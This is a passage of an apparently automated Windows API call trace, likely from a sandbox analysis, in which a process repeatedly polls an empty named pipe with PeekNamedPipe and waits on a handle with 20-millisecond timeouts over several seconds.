PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.481] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.582] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.607] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.636] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.656] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.715] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.716] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.747] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.747] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.779] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.779] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.800] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.800] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.831] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.832] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.862] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.862] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.893] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.893] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.925] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.925] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.956] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.956] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.987] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.987] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.018] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.018] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.049] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.049] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.081] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.081] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.112] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.112] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.143] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.143] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.174] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.174] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.226] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.226] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.252] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.252] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.319] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.319] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.369] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.369] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.393] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.393] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.424] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.424] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.455] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.455] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.514] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.514] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.533] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.533] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.585] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.585] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.611] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.611] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.642] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.642] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.769] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.769] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.798] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.798] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.962] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.969] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.987] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.987] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.064] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.065] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.277] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.277] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.780] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.780] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.828] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.828] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.876] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.876] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0105.971] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0105.971] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.309] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.309] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0106.391] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0106.391] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0107.805] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.806] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0107.866] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.866] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0107.904] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.905] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0107.938] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.938] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0107.963] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.963] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0107.995] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0107.995] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0108.032] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.032] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0108.644] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.644] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0108.665] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.665] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0108.697] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.697] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0108.733] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.733] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0108.759] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.759] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0108.790] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.790] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0108.821] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.821] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0108.905] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.905] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0108.930] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.931] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0108.962] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.962] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0108.993] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0108.993] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0109.024] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.024] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0109.055] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.055] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0109.087] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.087] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0109.162] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.162] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0109.180] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.180] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0109.212] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.212] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0109.432] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0109.432] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0109.960] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, 